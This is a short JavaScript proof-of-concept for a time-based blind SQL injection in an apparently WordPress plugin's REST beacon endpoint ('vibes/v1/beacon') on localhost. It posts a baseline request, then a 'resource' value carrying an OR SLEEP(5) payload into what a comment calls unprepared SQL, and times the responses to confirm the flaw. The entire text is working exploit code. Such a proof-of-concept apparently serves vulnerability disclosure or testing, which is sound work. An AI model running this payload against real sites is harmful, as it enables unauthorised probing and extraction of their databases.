(async () => {
  const url = 'http://localhost/wordpress/index.php?rest_route=/vibes/v1/beacon';

  async function send(resource) {
    const body = {
      type: 'navigation',
      resource, // injected into SQL (unprepared)
      authenticated: 0,
      metrics: [{ name: 'wait', start: 1, duration: 1 }]
    };

    const t0 = performance.now();

    const res = await fetch(url, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify(body)
    });

    await res.text();

    return {
      status: res.status,
      ms: Math.round(performance.now() - t0)
    };
  }

  console.log('Baseline (fast)…');
  console.log(await send('/a/b/c')); // expected: ~20–50ms

  console.log('Injected (time-based)…');
  console.log(await send("/a/b/c' OR SLEEP(5) OR 'x/dummy")); // expected: ~5000ms
})();